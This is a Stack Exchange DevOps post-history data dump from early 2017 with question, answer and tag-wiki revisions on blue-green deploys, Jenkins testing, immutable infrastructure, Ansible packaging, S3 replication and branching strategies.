  <row Id="266" PostHistoryTypeId="1" PostId="106" RevisionGUID="d0fb4b67-8d99-425d-9858-71f0d0f9f930" CreationDate="2017-02-28T21:12:28.083" UserId="185" Text="Git clean/smudge filters for ansible vault secrets" ContentLicense="CC BY-SA 3.0" />
  <row Id="267" PostHistoryTypeId="3" PostId="106" RevisionGUID="d0fb4b67-8d99-425d-9858-71f0d0f9f930" CreationDate="2017-02-28T21:12:28.083" UserId="185" Text="&lt;git&gt;&lt;ansible&gt;&lt;ansible-vault&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="268" PostHistoryTypeId="2" PostId="107" RevisionGUID="25a0095c-0b7d-41cd-a4fd-004d03805fba" CreationDate="2017-02-28T21:14:45.287" UserId="15" Text="No, there isn't still any common practice for this since this is not very common.&#xD;&#xA;&#xD;&#xA;I would recommend you to create a `Development Jenkins Environment` and run tests against it. Right now you will have to do that from scratch since there are not many repositories open source that could help you.&#xD;&#xA;&#xD;&#xA;So, how would look like a `Jenkins Development Environment`?&#xD;&#xA;&#xD;&#xA;For me it is a `docker-compose` file that you can run and get everything you need. If you can automate the creation of the jobs it will be a plus." ContentLicense="CC BY-SA 3.0" />
  <row Id="270" PostHistoryTypeId="10" PostId="67" RevisionGUID="01785488-2bde-46ab-a5e3-0b6e5accb4b5" CreationDate="2017-02-28T21:42:45.580" UserId="-1" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:3,&quot;DisplayName&quot;:&quot;kenorb&quot;},{&quot;Id&quot;:15,&quot;DisplayName&quot;:&quot;Gepser&quot;},{&quot;Id&quot;:72,&quot;DisplayName&quot;:&quot;Dave Swersky&quot;},{&quot;Id&quot;:154,&quot;DisplayName&quot;:&quot;coderanger&quot;},{&quot;Id&quot;:184,&quot;DisplayName&quot;:&quot;7ochem&quot;}]}" />
  <row Id="271" PostHistoryTypeId="2" PostId="108" RevisionGUID="7797172a-1839-4324-b32b-1babd1391619" CreationDate="2017-02-28T21:43:43.963" UserId="192" Text="A blue green deploy involves pumping live prod data flows (blue) into a hot swap non prod environment (green) in preparation to deploy to live the green environment, such that the green has full data sync with the previous prod blue environment.  &#xD;&#xA;&#xD;&#xA;I am wondering what people are using to live copy ongoing websocket traffic from blue to green ... do I write my own or is there a publish/subscribe websocket library ... or possibly a different approach to blue green ?&#xD;&#xA;&#xD;&#xA;My app has nodejs REST servers which also manage websocket traffic from mobile devices &#xD;&#xA;&#xD;&#xA;I realize I could just keep the mongodb in sync from blue to green however that would not exercise the green nodejs servers with live traffic which is a nice regression sanity check I am looking for&#xD;&#xA;&#xD;&#xA;Possibly if I just live forward HTTP traffic the underlying websocket which runs atop HTTP will just take care of itself and not demand specific blue green setup" ContentLicense="CC BY-SA 3.0" />
  <row Id="272" PostHistoryTypeId="1" PostId="108" RevisionGUID="7797172a-1839-4324-b32b-1babd1391619" CreationDate="2017-02-28T21:43:43.963" UserId="192" Text="To design a blue green deploy how to publish websocket traffic from live to hot swap server" ContentLicense="CC BY-SA 3.0" />
  <row Id="273" PostHistoryTypeId="3" PostId="108" RevisionGUID="7797172a-1839-4324-b32b-1babd1391619" CreationDate="2017-02-28T21:43:43.963" UserId="192" Text="&lt;deployment&gt;&lt;bluegreen&gt;&lt;http&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="274" PostHistoryTypeId="10" PostId="73" RevisionGUID="8cf24a10-e2b9-4e8e-8145-0729be54d261" CreationDate="2017-02-28T21:51:58.887" UserId="-1" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:15,&quot;DisplayName&quot;:&quot;Gepser&quot;},{&quot;Id&quot;:3,&quot;DisplayName&quot;:&quot;kenorb&quot;},{&quot;Id&quot;:177,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:184,&quot;DisplayName&quot;:&quot;7ochem&quot;},{&quot;Id&quot;:7,&quot;DisplayName&quot;:&quot;soundslikeodd&quot;}]}" />
  <row Id="275" PostHistoryTypeId="5" PostId="107" RevisionGUID="5b08bd04-12af-457f-ac5d-0fe98059ef6a" CreationDate="2017-02-28T21:53:53.553" UserId="7" Comment="general structure" Text="No, there still isn't any common practice for this since this is not very common.&#xD;&#xA;&#xD;&#xA;I would recommend you to create a `Development Jenkins Environment` and run tests against it. Right now you will have to do that from scratch since there are not many open source repositories that could help you.&#xD;&#xA;&#xD;&#xA;So, how does this look like a `Jenkins Development Environment`?&#xD;&#xA;&#xD;&#xA;For me it is a `docker-compose` file that you can run and get everything you need. If you can automate the creation of the jobs it will be a plus." ContentLicense="CC BY-SA 3.0" />
  <row Id="276" PostHistoryTypeId="24" PostId="107" RevisionGUID="5b08bd04-12af-457f-ac5d-0fe98059ef6a" CreationDate="2017-02-28T21:53:53.553" Comment="Proposed by 7 approved by -1 edit id of 19" ContentLicense="CC BY-SA 3.0" />
  <row Id="277" PostHistoryTypeId="5" PostId="107" RevisionGUID="c6831064-8a44-42e6-94d3-0f0c4b289fa2" CreationDate="2017-02-28T21:53:53.553" UserId="15" Comment="general structure" Text="No, there still isn't any common practice for this since this is not very common.&#xD;&#xA;&#xD;&#xA;I would recommend you to create a `Development Jenkins Environment` and run tests against it. Right now you will have to do that from scratch since there are not many open source repositories that could help you.&#xD;&#xA;&#xD;&#xA;So, how does this `Jenkins Development Environment` look like?&#xD;&#xA;&#xD;&#xA;For me it is a `docker-compose` file that you can run and get everything you need. If you can automate the creation of the jobs it will be a plus." ContentLicense="CC BY-SA 3.0" />
  <row Id="278" PostHistoryTypeId="10" PostId="48" RevisionGUID="ab0bbf0a-a0c3-4159-bed1-2182b41bda05" CreationDate="2017-02-28T21:54:53.887" UserId="-1" Comment="105" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:3,&quot;DisplayName&quot;:&quot;kenorb&quot;},{&quot;Id&quot;:15,&quot;DisplayName&quot;:&quot;Gepser&quot;},{&quot;Id&quot;:184,&quot;DisplayName&quot;:&quot;7ochem&quot;},{&quot;Id&quot;:7,&quot;DisplayName&quot;:&quot;soundslikeodd&quot;},{&quot;Id&quot;:201,&quot;DisplayName&quot;:&quot;Peter G&quot;}]}" />
  <row Id="279" PostHistoryTypeId="5" PostId="108" RevisionGUID="95cda52b-cbc7-4ae4-8a7e-d357614c699b" CreationDate="2017-02-28T22:06:09.233" UserId="192" Comment="added 63 characters in body" Text="A blue green deploy involves pumping live prod data flows (blue) into a hot swap non prod environment (green) in preparation to deploy to live the green environment, such that the green has full data sync with the previous prod blue environment.  &#xD;&#xA;&#xD;&#xA;I am wondering what people are using to live copy ongoing websocket traffic from blue to green ... do I write my own or is there a publish/subscribe websocket library ... or possibly a different approach to blue green ?&#xD;&#xA;&#xD;&#xA;My app has nodejs REST servers which also manage websocket traffic from mobile devices ... a mongodb server, etc ... all in containers on GCE/AWS&#xD;&#xA;&#xD;&#xA;I realize I could just keep the mongodb in sync from blue to green however that would not exercise the green nodejs servers with live traffic which is a nice regression sanity check I am looking for&#xD;&#xA;&#xD;&#xA;Possibly if I just live forward HTTP traffic the underlying websocket which runs atop HTTP will just take care of itself and not demand specific blue green setup" ContentLicense="CC BY-SA 3.0" />
  <row Id="281" PostHistoryTypeId="5" PostId="8" RevisionGUID="9a17acb3-8557-4ae7-b049-8e54c17ea81a" CreationDate="2017-02-28T22:14:20.637" UserId="44" Comment="summarize the link" Text="I think you want [Amazon Snowball][1].&#xD;&#xA;&#xD;&#xA;&gt; Snowball is a petabyte-scale data transport solution that uses secure appliances to transfer large amounts of data into and **out** of the AWS cloud. &#xD;&#xA;&#xD;&#xA;&gt;With Snowball, you don’t need to write any code or purchase any hardware to transfer your data. Simply create a job in the AWS Management Console and a Snowball appliance will be automatically shipped to you&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/snowball/" ContentLicense="CC BY-SA 3.0" />
  <row Id="282" PostHistoryTypeId="24" PostId="8" RevisionGUID="9a17acb3-8557-4ae7-b049-8e54c17ea81a" CreationDate="2017-02-28T22:14:20.637" Comment="Proposed by 44 approved by 26 edit id of 1" ContentLicense="CC BY-SA 3.0" />
  <row Id="285" PostHistoryTypeId="5" PostId="35" RevisionGUID="6fb8cca0-eba4-4a56-9e63-16a02a84ae30" CreationDate="2017-02-28T22:14:35.827" UserId="40" Comment="added 268 characters in body" Text="Git is an open source distributed version control system.&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;### Resources&#xD;&#xA;&#xD;&#xA;- [Homepage][2].&#xD;&#xA;- [Pro Git book][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/GEGy5.png&#xD;&#xA;  [2]: http://git-scm.com/&#xD;&#xA;  [3]: https://git-scm.com/book" ContentLicense="CC BY-SA 3.0" />
  <row Id="286" PostHistoryTypeId="24" PostId="35" RevisionGUID="6fb8cca0-eba4-4a56-9e63-16a02a84ae30" CreationDate="2017-02-28T22:14:35.827" Comment="Proposed by 40 approved by 26 edit id of 5" ContentLicense="CC BY-SA 3.0" />
  <row Id="287" PostHistoryTypeId="5" PostId="71" RevisionGUID="81f5c233-7e51-4a74-95ba-d93815f6b760" CreationDate="2017-02-28T22:14:50.377" UserId="3" Comment="Adds link." Text="[The DevOps Report by Puppet Labs][1] states that &quot;devopsy&quot; companies have 3x times lower failure rate. While other companies must have a fairly regular rate of failures from deployments to production.&#xD;&#xA;&#xD;&#xA;What are the companies who have very low failure rates do differently?&#xD;&#xA;How can other companies mimic such decrease in failures of changes in their production (and other) environments?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://puppet.com/resources/whitepaper/2016-state-of-devops-report" ContentLicense="CC BY-SA 3.0" />
  <row Id="288" PostHistoryTypeId="24" PostId="71" RevisionGUID="81f5c233-7e51-4a74-95ba-d93815f6b760" CreationDate="2017-02-28T22:14:50.377" Comment="Proposed by 3 approved by 26 edit id of 14" ContentLicense="CC BY-SA 3.0" />
  <row Id="289" PostHistoryTypeId="10" PostId="71" RevisionGUID="7712e772-6fdc-4e83-8f76-9cc6af8b3ed3" CreationDate="2017-02-28T22:15:13.063" UserId="-1" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:15,&quot;DisplayName&quot;:&quot;Gepser&quot;},{&quot;Id&quot;:3,&quot;DisplayName&quot;:&quot;kenorb&quot;},{&quot;Id&quot;:184,&quot;DisplayName&quot;:&quot;7ochem&quot;},{&quot;Id&quot;:7,&quot;DisplayName&quot;:&quot;soundslikeodd&quot;},{&quot;Id&quot;:201,&quot;DisplayName&quot;:&quot;Peter G&quot;}]}" />
  <row Id="290" PostHistoryTypeId="5" PostId="105" RevisionGUID="7c800c2b-b50c-4baf-a0ab-7c6097394766" CreationDate="2017-02-28T22:15:14.153" UserId="7" Comment="general structure" Text="We are using Ansible 1.9 for deploying spring-boot microservices.  We are using centos 6 and the services are packaged as rpms. We intend to configure the executable jar files to be supervised by runit, instead of sysvinit or upstart.&#xD;&#xA;&#xD;&#xA;Is it reasonable to package the runit config inside the rpm, and let Ansible only deploy specific properties into /etc/sysconfig, or a better way to use Ansible for the full runit config exist, so that the service would be decoupled from that host configuration?" ContentLicense="CC BY-SA 3.0" />
  <row Id="291" PostHistoryTypeId="24" PostId="105" RevisionGUID="7c800c2b-b50c-4baf-a0ab-7c6097394766" CreationDate="2017-02-28T22:15:14.153" Comment="Proposed by 7 approved by 26 edit id of 20" ContentLicense="CC BY-SA 3.0" />
  <row Id="292" PostHistoryTypeId="5" PostId="50" RevisionGUID="63ecd8e3-23e8-4b84-a675-7efc3e1e9f8a" CreationDate="2017-02-28T22:15:41.703" UserId="77" Comment="added 686 characters in body" Text="[**Amazon S3** (Simple Storage Service)][1] is an online storage web service offered by [Amazon Web Services][2]. Amazon S3 provides storage through a simple web services interface.  It gives any developer access to the same highly scalable, reliable, secure, fast, inexpensive infrastructure that Amazon uses to run its own global network of web sites.&#xD;&#xA;&#xD;&#xA;**References**&#xD;&#xA;&#xD;&#xA; - [Documentation][3]&#xD;&#xA; - [Developer Tools][4]&#xD;&#xA; - [Wikipedia][5]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://aws.amazon.com/s3/&#xD;&#xA;  [2]: http://aws.amazon.com/&#xD;&#xA;  [3]: http://aws.amazon.com/documentation/s3/&#xD;&#xA;  [4]: http://aws.amazon.com/code/developertools?_encoding=UTF8&amp;jiveRedirect=1&#xD;&#xA;  [5]: http://en.wikipedia.org/wiki/Amazon_S3&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="293" PostHistoryTypeId="24" PostId="50" RevisionGUID="63ecd8e3-23e8-4b84-a675-7efc3e1e9f8a" CreationDate="2017-02-28T22:15:41.703" Comment="Proposed by 77 approved by 26 edit id of 9" ContentLicense="CC BY-SA 3.0" />
  <row Id="294" PostHistoryTypeId="10" PostId="7" RevisionGUID="1bff55bf-d95d-4fdf-a129-a076e87c47b7" CreationDate="2017-02-28T22:15:47.840" UserId="-1" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:44,&quot;DisplayName&quot;:&quot;Sathya&quot;},{&quot;Id&quot;:15,&quot;DisplayName&quot;:&quot;Gepser&quot;},{&quot;Id&quot;:184,&quot;DisplayName&quot;:&quot;7ochem&quot;},{&quot;Id&quot;:7,&quot;DisplayName&quot;:&quot;soundslikeodd&quot;},{&quot;Id&quot;:201,&quot;DisplayName&quot;:&quot;Peter G&quot;}]}" />
  <row Id="295" PostHistoryTypeId="5" PostId="44" RevisionGUID="e9e14c56-c840-4451-9230-490400a25e6c" CreationDate="2017-02-28T22:16:11.373" UserId="77" Comment="added 1203 characters in body" Text="[**Amazon Web Services** (AWS)][1] provides a web services platform in the cloud. With AWS you can requisition compute power, virtual machine instances, storage through a variety of databases and file stores as your needs scale up or down. &#xD;&#xA;&#xD;&#xA;SDKs to access and manage Amazon Web Services are provided in a multitude of programming languages, including PHP, Java, .NET. The services are also accessible through the REST and SOAP APIs, command-line interface, and web dashboard.&#xD;&#xA;&#xD;&#xA;With Amazon Web Services, you can take advantage of Amazon.com’s global computing infrastructure that is the backbone of their multi-billion retail business spread across various regions.&#xD;&#xA;&#xD;&#xA;### Resources:&#xD;&#xA;&#xD;&#xA;- [What is AWS?][2]&#xD;&#xA;- [AWS Products &amp; Services][3]&#xD;&#xA;- [AWS Solutions][4]&#xD;&#xA;- [Global Infrastructure][5]&#xD;&#xA;- [AWS Documentation][6]&#xD;&#xA;- [StackOverflow AWS Documentation][7]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://aws.amazon.com&#xD;&#xA;  [2]: http://aws.amazon.com/what-is-aws/&#xD;&#xA;  [3]: http://aws.amazon.com/products/&#xD;&#xA;  [4]: http://aws.amazon.com/solutions/aws-solutions/&#xD;&#xA;  [5]: http://aws.amazon.com/about-aws/globalinfrastructure/&#xD;&#xA;  [6]: http://docs.aws.amazon.com&#xD;&#xA;  [7]: http://stackoverflow.com/documentation/amazon-web-services/topics" ContentLicense="CC BY-SA 3.0" />
  <row Id="296" PostHistoryTypeId="24" PostId="44" RevisionGUID="e9e14c56-c840-4451-9230-490400a25e6c" CreationDate="2017-02-28T22:16:11.373" Comment="Proposed by 77 approved by 26 edit id of 7" ContentLicense="CC BY-SA 3.0" />
  <row Id="297" PostHistoryTypeId="5" PostId="32" RevisionGUID="545af3a2-a464-44cf-be7e-e58f65373b3e" CreationDate="2017-02-28T22:16:25.693" UserId="47" Comment="added 393 characters in body" Text="From [Jenkins Documentation][1]: &#xD;&#xA;&#xD;&#xA;&gt; Jenkins is a self-contained, open source automation server which can&#xD;&#xA;&gt; be used to automate all sorts of tasks such as building, testing, and&#xD;&#xA;&gt; deploying software. Jenkins can be installed through native system&#xD;&#xA;&gt; packages, Docker, or even run standalone by any machine with the Java&#xD;&#xA;&gt; Runtime Environment installed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins.io/doc/" ContentLicense="CC BY-SA 3.0" />
  <row Id="298" PostHistoryTypeId="24" PostId="32" RevisionGUID="545af3a2-a464-44cf-be7e-e58f65373b3e" CreationDate="2017-02-28T22:16:25.693" Comment="Proposed by 47 approved by 26 edit id of 3" ContentLicense="CC BY-SA 3.0" />
  <row Id="299" PostHistoryTypeId="2" PostId="109" RevisionGUID="b0630930-8002-4309-af1a-e60f25f3710c" CreationDate="2017-02-28T22:21:22.880" UserId="72" Text="If I'm using **immutable** servers/containers, do I need tools like Chef, Puppet, Ansible, or Salt?  Those config management tools are designed to establish a configuration and then maintain it. &#xD;&#xA;&#xD;&#xA;If I'm deploying immutable servers, should I use configuration management tools only for initial provisioning?" ContentLicense="CC BY-SA 3.0" />
  <row Id="300" PostHistoryTypeId="1" PostId="109" RevisionGUID="b0630930-8002-4309-af1a-e60f25f3710c" CreationDate="2017-02-28T22:21:22.880" UserId="72" Text="What role do Configuration Managment tools play in immutable infrastructure?" ContentLicense="CC BY-SA 3.0" />
  <row Id="301" PostHistoryTypeId="3" PostId="109" RevisionGUID="b0630930-8002-4309-af1a-e60f25f3710c" CreationDate="2017-02-28T22:21:22.880" UserId="72" Text="&lt;containers&gt;&lt;immutable-servers&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="302" PostHistoryTypeId="2" PostId="110" RevisionGUID="b8579232-9c8c-494e-b5f6-e7df0caea961" CreationDate="2017-02-28T22:28:40.397" UserId="201" Text="It's not possible to avoid setting the `BUILD_NUMBER` environment variable, but you can avoid using it. Try using the Jenkins plugin [Build Name Setter Plugin][1]. It adds an option in your build configuration to set the build name to whatever you want, and you can ignore the `BUILD_NUMBER` environment variable this way.&#xD;&#xA;&#xD;&#xA;Consider `1.250.5` versus `1.250.${BUILD_NUMBER}`. The former will be constant no matter how many times you build and the latter will increment by one every time you build. It's also possible to use other macro values in between ${} to make more interesting dynamic build numbers.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Build+Name+Setter+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="303" PostHistoryTypeId="2" PostId="111" RevisionGUID="504a5f35-401a-4564-9490-9f2d26510179" CreationDate="2017-02-28T22:30:17.207" UserId="47" Text="With a minimally engineered server code (a Google AppEngine application in the example) it's possible to duplicate and forward incoming NTTP traffic received by a production server to a test server (or vice-versa) for the purpose of comparing their responses. See http://stackoverflow.com/questions/38799566/can-i-asynchronously-duplicate-a-webapp2-requesthandler-request-to-a-different-u.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="304" PostHistoryTypeId="5" PostId="108" RevisionGUID="977b2623-7e1e-41d1-8870-8b721b2608f3" CreationDate="2017-02-28T22:40:38.810" UserId="192" Comment="added 1 character in body" Text="A blue green deploy involves pumping live prod data flows (blue) into a hot swap non prod environment (green) in preparation to deploy to live the green environment, such that the green has full data sync with the previous prod blue environment.  &#xD;&#xA;&#xD;&#xA;I am wondering what people are using to live copy ongoing websocket traffic from blue to green ... do I write my own or is there a publish/subscribe websocket library ... or possibly a different approach to blue green ?&#xD;&#xA;&#xD;&#xA;My app has nodejs REST servers which also manage websocket traffic from mobile devices ... a mongodb server, etc ... each in containers on GCE/AWS&#xD;&#xA;&#xD;&#xA;I realize I could just keep the mongodb in sync from blue to green however that would not exercise the green nodejs servers with live traffic which is a nice regression sanity check I am looking for&#xD;&#xA;&#xD;&#xA;Possibly if I just live forward HTTP traffic the underlying websocket which runs atop HTTP will just take care of itself and not demand specific blue green setup" ContentLicense="CC BY-SA 3.0" />
  <row Id="305" PostHistoryTypeId="2" PostId="112" RevisionGUID="2f961c02-5dd2-426c-a13a-097d85909ea8" CreationDate="2017-02-28T22:50:00.267" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="306" PostHistoryTypeId="1" PostId="112" RevisionGUID="2f961c02-5dd2-426c-a13a-097d85909ea8" CreationDate="2017-02-28T22:50:00.267" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="307" PostHistoryTypeId="2" PostId="113" RevisionGUID="bda9b684-cebc-4e83-8fe3-db1d953185d5" CreationDate="2017-02-28T22:50:00.267" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="308" PostHistoryTypeId="1" PostId="113" RevisionGUID="bda9b684-cebc-4e83-8fe3-db1d953185d5" CreationDate="2017-02-28T22:50:00.267" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="310" PostHistoryTypeId="5" PostId="111" RevisionGUID="be30f582-eca0-4901-9859-571a69063d2e" CreationDate="2017-02-28T23:11:06.403" UserId="47" Comment="fixed typo" Text="With a minimally engineered server code (a Google AppEngine application in the example) it's possible to duplicate and forward incoming HTTP traffic received by a production server to a test server (or vice-versa) for the purpose of comparing their responses. See http://stackoverflow.com/questions/38799566/can-i-asynchronously-duplicate-a-webapp2-requesthandler-request-to-a-different-u.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="311" PostHistoryTypeId="2" PostId="114" RevisionGUID="e8975f58-4890-4aea-bbca-ec28608de101" CreationDate="2017-02-28T23:41:28.480" UserId="154" Text="Websockets don't really have any handling for this per se. You could build your own system but generally the idea for HA is that if anything happens you'll set the client up to automatically reconnect. There will be some non-zero downtime during a blue-green swap but if your app is well built it should handle that already.&#xD;&#xA;&#xD;&#xA;If you wanted something more smooth, you could build a message in to your protocol to connect to a new server and then drop the original connection." ContentLicense="CC BY-SA 3.0" />
  <row Id="312" PostHistoryTypeId="2" PostId="115" RevisionGUID="abcbbb56-9489-4fab-b82e-3bd95cf1fb4c" CreationDate="2017-02-28T23:49:09.623" UserId="154" Text="There are a few answers to that:&#xD;&#xA;&#xD;&#xA;1. Something needs to build those immutable images. It is certainly easier to use old-school-style procedural scripting to build something when starting from a known starting state but this can still get very unwieldy over time (e.g. Dockerfiles), especially when you end up wanting a big matrix of different images for things like different versions of software, different environments, etc. Packer and other image build tools integrate nicely with Chef, Ansible, Puppet, Salt, and more.&#xD;&#xA;&#xD;&#xA;2. Immutability is a spectrum, not a binary. Even in a &quot;very immutable&quot; deploy it is not uncommon to have some configuration files that need runtime management. This is also a place where you can use CAPS tools, though lighter-weight options like Consul Templates or etcd might make more sense depending on the overall infra. If you're doing immutable app servers but your database servers are more traditionally managed using Chef, then it might make sense to use Chef even on the immutable side for minor management tasks.&#xD;&#xA;&#xD;&#xA;3. Zero-day management. Immutability is nice, but what are you going to do when the next OpenSSL 0day drops? If you have your build pipeline in a position to create immediate hotfix images and deploy them, then that's great. But many people will probably not have that kind of quick-turn ability.&#xD;&#xA;&#xD;&#xA;4. Things that can't be immutable. The un-answer, but a whole infra is rarely 100% immutable. Things like database servers and developer workstations (yes, those are part of your infra) are somewhere between difficult and impossible to make immutable." ContentLicense="CC BY-SA 3.0" />
  <row Id="314" PostHistoryTypeId="2" PostId="117" RevisionGUID="11378b27-0384-4ecf-95d6-4d13cd108d08" CreationDate="2017-03-01T00:13:06.993" UserId="154" Text="So both have their place. On one hand, putting service definitions in the package helps to keep the number of &quot;moving pieces&quot; to a minimum. On the other, it also requires a more complex package build process to at least some degree (like you would have to build your own packages for things instead of using distro packages). If you have the capability to do it in packages, that seems better since moving pieces in prod will always eventually break." ContentLicense="CC BY-SA 3.0" />
  <row Id="315" PostHistoryTypeId="2" PostId="118" RevisionGUID="313eed4e-94bc-4610-a4b5-0ffdb736d5e6" CreationDate="2017-03-01T00:20:52.363" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="316" PostHistoryTypeId="1" PostId="118" RevisionGUID="313eed4e-94bc-4610-a4b5-0ffdb736d5e6" CreationDate="2017-03-01T00:20:52.363" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="317" PostHistoryTypeId="2" PostId="119" RevisionGUID="9a2a16c7-1bef-4a81-8eb7-23778ef974be" CreationDate="2017-03-01T00:20:52.363" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="318" PostHistoryTypeId="1" PostId="119" RevisionGUID="9a2a16c7-1bef-4a81-8eb7-23778ef974be" CreationDate="2017-03-01T00:20:52.363" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="319" PostHistoryTypeId="5" PostId="85" RevisionGUID="3d29cb18-49c0-48f1-b890-87675521c0c7" CreationDate="2017-03-01T00:46:59.287" UserId="68" Comment="Spelling, grammar (http://english.stackexchange.com/questions/77835/company-names-use-of-have-and-has), link formatting." Text="In March 2015, Amazon AWS [announced][1] they support S3 replication across regions. When a certain region in S3 goes offline, you can serve files from your mirror in another region.&#xD;&#xA;&#xD;&#xA;The practice of keeping your infrastructure online by doing a switch over to another region is a complex one, but S3 is a relatively small and simple component. Netflix has a [great article][2] on their experience with Chaos Gorilla.&#xD;&#xA;&#xD;&#xA;This also applies to service degradation, like increased latency. Not just when a service you depend upon is completely offline. Netflix has an article on this as well: [Chaos Engineering Upgraded][3].&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/blogs/aws/new-cross-region-replication-for-amazon-s3/&#xD;&#xA;  [2]: http://techblog.netflix.com/2013/12/active-active-for-multi-regional.html&#xD;&#xA;  [3]: http://techblog.netflix.com/2015/09/chaos-engineering-upgraded.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="320" PostHistoryTypeId="24" PostId="85" RevisionGUID="3d29cb18-49c0-48f1-b890-87675521c0c7" CreationDate="2017-03-01T00:46:59.287" Comment="Proposed by 68 approved by 6 edit id of 22" ContentLicense="CC BY-SA 3.0" />
  <row Id="321" PostHistoryTypeId="2" PostId="120" RevisionGUID="afbe72e0-58b1-4af0-847b-812dbaa7f086" CreationDate="2017-03-01T00:53:39.797" UserId="154" Text="Test Kitchen has a kitchen-ansible provisioner plugin for testing of Ansible code. It isn't as deep as the Chef integration but it does get the job done for most cases. There is also the more recent Molecule project which is a dedicated Ansible testing system." ContentLicense="CC BY-SA 3.0" />
  <row Id="322" PostHistoryTypeId="2" PostId="121" RevisionGUID="0378fec1-b4c6-4b5b-a963-a19ba671045e" CreationDate="2017-03-01T00:58:38.577" UserId="228" Text="**Site Reliability Engineering** falls under more or less traditional operations. It is a defined vertical role. You can have a team of SRE. &#xD;&#xA;&#xD;&#xA;**DevOps** is a cultural change for an organization. It is a loosely defined horizontal role binding several teams together. You cannot have a team of DevOps engineers, that is an oxymoron.&#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 3.0" />
  <row Id="323" PostHistoryTypeId="5" PostId="121" RevisionGUID="4773df90-73b4-4520-9403-3feaf8774f71" CreationDate="2017-03-01T01:08:49.800" UserId="228" Comment="added 46 characters in body" Text="**Site Reliability Engineering** falls under more or less traditional operations, but heavily automated and version controlled. It is a defined vertical role. You can have a team of SRE. &#xD;&#xA;&#xD;&#xA;**DevOps** is a cultural change for an organization. It is a loosely defined horizontal role binding several teams together, ensuring that work passes smoothly and quickly throughout the organization. You cannot have a team of DevOps engineers, that is an oxymoron.&#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 3.0" />
  <row Id="324" PostHistoryTypeId="5" PostId="121" RevisionGUID="fba96898-6ca5-497a-a168-aaee2e0f925a" CreationDate="2017-03-01T01:17:36.363" UserId="228" Comment="added 8 characters in body" Text="**Site Reliability Engineering** falls under more or less traditional operations, but heavily automated and version controlled. It is a defined **vertical role**. You can have a team of SRE. &#xD;&#xA;&#xD;&#xA;**DevOps** is a cultural change for an organization. It is a loosely defined **horizontal role** binding several teams together, ensuring that work passes smoothly and quickly throughout the organization. You cannot have a team of DevOps engineers, that is an oxymoron.&#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 3.0" />
  <row Id="325" PostHistoryTypeId="5" PostId="85" RevisionGUID="0590a2b4-4e59-41d1-8c68-6545718d9ee7" CreationDate="2017-03-01T01:29:03.437" UserId="6" Comment="highlight the link to source inline" Text="In March 2015, Amazon AWS [announced][1] they support S3 replication across regions. When a certain region in S3 goes offline, you can serve files from your mirror in another region.&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;source: [https://aws.amazon.com/blogs/aws/new-cross-region-replication-for-amazon-s3/][1]&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;The practice of keeping your infrastructure online by doing a switch over to another region is a complex one, but S3 is a relatively small and simple component. Netflix has a [great article][2] on their experience with Chaos Gorilla.&#xD;&#xA;&#xD;&#xA;This also applies to service degradation, like increased latency. Not just when a service you depend upon is completely offline. Netflix has an article on this as well: [Chaos Engineering Upgraded][3].&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/blogs/aws/new-cross-region-replication-for-amazon-s3/&#xD;&#xA;  [2]: http://techblog.netflix.com/2013/12/active-active-for-multi-regional.html&#xD;&#xA;  [3]: http://techblog.netflix.com/2015/09/chaos-engineering-upgraded.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="326" PostHistoryTypeId="2" PostId="122" RevisionGUID="85ef64d9-fcae-4c84-8097-bb33c1e3b554" CreationDate="2017-03-01T01:31:59.837" UserId="47" Text="In a (very) large organisations using the waterfall methodology typically very complex branching structures (aka *branch spagetti*) are encountered.&#xD;&#xA;&#xD;&#xA;What branching strategies can be used in a transition to true continuous integration - a single main development branch (aka *trunk-based development*)?" ContentLicense="CC BY-SA 3.0" />
  <row Id="327" PostHistoryTypeId="1" PostId="122" RevisionGUID="85ef64d9-fcae-4c84-8097-bb33c1e3b554" CreationDate="2017-03-01T01:31:59.837" UserId="47" Text="What branch strategies to use for migrating from waterfall to true continuous integration?" ContentLicense="CC BY-SA 3.0" />
